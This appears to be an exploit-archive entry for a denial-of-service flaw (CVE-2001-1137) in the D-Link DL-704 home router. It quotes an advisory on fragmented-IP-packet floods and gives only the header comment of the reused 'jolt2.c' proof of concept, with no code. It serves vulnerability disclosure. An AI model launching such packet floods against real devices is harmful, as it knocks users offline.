D-Link Dl-704 2.56 b5 IP Fragment Denial Of Service Vulnerability. CVE-2001-1137. Dos exploit for hardware platform

                                            source: http://www.securityfocus.com/bid/3306/info

The DLink Dl-704 is a DSL/Cable router and switch designed for home network use.

A problem has been discovered in the Dl-704 router. Upon receiving a high amount of fragmented IP packets, the router begins to become resource starved. After receiving these packets for a period greater than two minutes, the router will become unstable, ceasing operation.

This results in a denial of service users on either side of the router. A power cycling is required to resume normal operation. 

 * File:   jolt2.c
 * Author: Phonix <phonix@moocow.org>
 * Date:   23-May-00
 * Description: This is the proof-of-concept code for the
 *              Windows denial-of-serice attack described by
 *              the Razor team (NTBugtraq, 19-May-00)
 *              (MS00-029).  This code causes cpu utilization
 *              to go to 100%.
 * Tested against: Win98; NT4/SP5,6; Win2K
 * Written for: My Linux box.  YMMV.  Deal with it.
 * Thanks: This is standard code.  Ripped from lots of places.
 *         Insert your name here if you think you wrote some of
 *         it.  It's a trivial exploit, so I won't take credit
 *         for anything except putting this file together.
